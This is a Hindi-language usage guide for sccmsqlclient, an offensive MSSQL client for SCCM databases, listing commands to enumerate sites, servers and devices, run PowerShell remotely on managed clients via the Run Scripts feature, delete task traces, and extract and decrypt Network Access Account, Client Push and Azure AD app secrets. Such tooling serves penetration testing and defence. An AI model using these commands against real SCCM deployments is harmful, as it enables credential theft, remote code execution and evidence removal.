
SCCM वातावरण के लिए MSSQL क्लाइंट, जो टोह (reconnaissance), प्रबंधित क्लाइंट्स पर रिमोट PowerShell निष्पादन, और NAA क्रेडेंशियल्स तथा Azure AD ऐप कॉन्फ़िगरेशन जैसे संवेदनशील रहस्यों (secrets) का निष्कर्षण सक्षम बनाता है।
SCCM डेटाबेस अन्वेषण और शोषण के लिए एक समर्पित MSSQL क्लाइंट।
$ pipx install git+https://github.com/synacktiv/sccmsqlclient/
आप रिपॉजिटरी को क्लोन करके और निर्भरताएँ स्थापित करके इंस्टॉल कर सकते हैं।
$ git clone https://github.com/synacktiv/sccmsqlclient
$ cd sccmsqlclient
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
sccmsqlclient.py उसी प्रमाणीकरण मॉडल और सिंटैक्स का उपयोग करता है जैसा Impacket का mssqlclient.py करता है, क्योंकि यह उसी TDS (Tabular Data Stream) MSSQL प्रोटोकॉल इम्प्लीमेंटेशन पर आधारित है।
यदि आप पहले से Impacket टूल्स से परिचित हैं, तो उपयोग और लॉगिन प्रारूप समान है।
$ python3 sccmsqlclient.py -windows-auth 'DOMAIN/USER:password'@mp.local
बहु-साइट पदानुक्रम में SCCM साइट्स और सर्वर सूचीबद्ध करें।
> sccm_sites
> sccm_servers
SCCM इन्फ्रास्ट्रक्चर सर्वरों और पदानुक्रम में उनकी निर्धारित भूमिकाओं की गणना करें।
> sccm_sysreslist [ROLE_NAME]
> sccm_mp
> sccm_dp
यह कमांड सेट इन्फ्रास्ट्रक्चर घटकों और उनकी जिम्मेदारियों का मानचित्रण करने के लिए SCCM सिस्टम संसाधन और भूमिका असाइनमेंट डेटा क्वेरी करता है।
sccm_sysreslist → सभी पंजीकृत SCCM सिस्टम संसाधनों और उनकी भूमिकाओं को सूचीबद्ध करता हैsccm_sysreslist [ROLE_NAME] → परिणामों को भूमिका नाम से फ़िल्टर करता है (जैसे, Management Point, Distribution Point)sccm_mp → सभी Management Points सूचीबद्ध करने का शॉर्टकटsccm_dp → सभी Distribution Points सूचीबद्ध करने का शॉर्टकटज्ञात डिवाइसों को सूचीबद्ध करें, नाम या IP पते द्वारा आंशिक फ़िल्टरिंग के साथ
> sccm_devices [FILTER]
क्लाइंट्स को उनकी BGB / नोटिफिकेशन चैनल स्थिति के साथ सूचीबद्ध करें (OnlineStatus=0|1)
> sccm_devices_bgbstatus [FILTER]
प्रबंधित डिवाइसों पर PowerShell स्क्रिप्ट निष्पादित करने के लिए Run Scripts सुविधा का शोषण करें।
किसी स्ट्रिंग से सीधे PowerShell स्क्रिप्ट परिभाषित करें।
> set_ps1_script "<string>"
उदाहरण:
> set_ps1_script "Get-Process | Select-Object -First 10"
स्थानीय .ps1 फ़ाइल से स्क्रिप्ट लोड करें।
उदाहरण:
> load_ps1_script ./script.ps1
पूर्व-परिभाषित स्क्रिप्ट को लक्षित SCCM संसाधन पर निष्पादित करें।
> sccm_run_script <RESOURCE_ID>
उदाहरण:
> sccm_run_script 16777219
निष्पादित होने पर, यह कमांड दो GUID उत्पन्न करता है:
ये पहचानकर्ता स्वचालित रूप से मेमोरी में संग्रहीत हो जाते हैं और निम्नलिखित कमांड द्वारा पुनः उपयोग किए जाते हैं:
last_task_outputllast_task_output_printlast_task_cleanयह आपको मैन्युअल रूप से GUID निर्दिष्ट किए बिना सबसे हालिया निष्पादन पर कार्य करने की अनुमति देता है।
sccm_run_script के माध्यम से लॉन्च किए गए सबसे हालिया कार्य के परिणाम दिखाएँ।
> last_task_output
यह अंतिम SCCM Run Script निष्पादन से मेमोरी में संग्रहीत कच्चे निष्पादन आउटपुट को प्राप्त करता है।
अंतिम कार्य के निष्पादन आउटपुट को मानव-पठनीय प्रारूप में प्रदर्शित करें।
> last_task_output_print
यह पढ़ने और व्याख्या में आसानी के लिए अंतिम SCCM Run Script निष्पादन के कच्चे आउटपुट को प्रारूपित और साफ करता है।
किसी कार्य या स्क्रिप्ट की निष्पादन स्थिति प्राप्त करें।
> sccm_ScriptsExecutionStatus [TASK_GUID|SCRIPT_GUID]
उदाहरण:
> sccm_ScriptsExecutionStatus
> sccm_ScriptsExecutionStatus 4F3A1B2C-AAAA-BBBB-CCCC-1234567890AB
सबसे हाल ही में ट्रैक किए गए SCCM कार्य को हटाएँ।
> last_task_clean
किसी विशिष्ट Background Group (BGB) कार्य को हटाएँ।
> sccm_BGB_Tasks_clean <TASK_GUID>
उदाहरण:
> sccm_BGB_Tasks_clean 4F3A1B2C-AAAA-BBBB-CCCC-1234567890AB
SCCM से Run Script ऑब्जेक्ट हटाएँ।
> sccm_script_delete <SCRIPT_GUID>
उदाहरण:
> sccm_script_delete 7F2C9D11-1111-2222-3333-ABCDEF987654
ये कमांड संवेदनशील SCCM-संबंधित गोपनीय जानकारी जैसे Network Access Accounts, Client Push क्रेडेंशियल और Azure AD एप्लिकेशन कॉन्फ़िगरेशन को सूचीबद्ध करने और निकालने की अनुमति देते हैं। डिक्रिप्शन SCCM Run Scripts के माध्यम से रिमोट स्क्रिप्ट निष्पादित करने पर निर्भर करता है।
Network Access Accounts (NAA) या Client Push इंस्टॉलेशन खातों जैसे विशेषाधिकार प्राप्त संचालन के लिए कॉन्फ़िगर किए गए SCCM उपयोगकर्ता खातों को प्राप्त करें।
> sccm_useraccounts
SCCM के भीतर संग्रहीत Azure AD एप्लिकेशन कॉन्फ़िगरेशन की गणना करें।
> sccm_add_apps
संग्रहीत secret blobs को डिक्रिप्ट करने के लिए SCCM Management Point या प्रबंधित क्लाइंट पर रिमोट स्क्रिप्ट निष्पादित करें।
> sccm_decrypt_blob [RESOURCE_ID] [HEXBLOB]
यह कमांड:
RESOURCE_ID की आवश्यकता होती है (sccm_devices_bgbstatus देखें)sccm_add_apps या sccm_useraccounts से प्राप्त हेक्स एन्कोडेड ब्लॉब को डिक्रिप्ट करता हैनिष्पादन रिमोट रूप से किया जाता है, और डिक्रिप्ट किया गया परिणाम SCCM Run Script निष्पादन चैनल के माध्यम से लौटाया जाता है।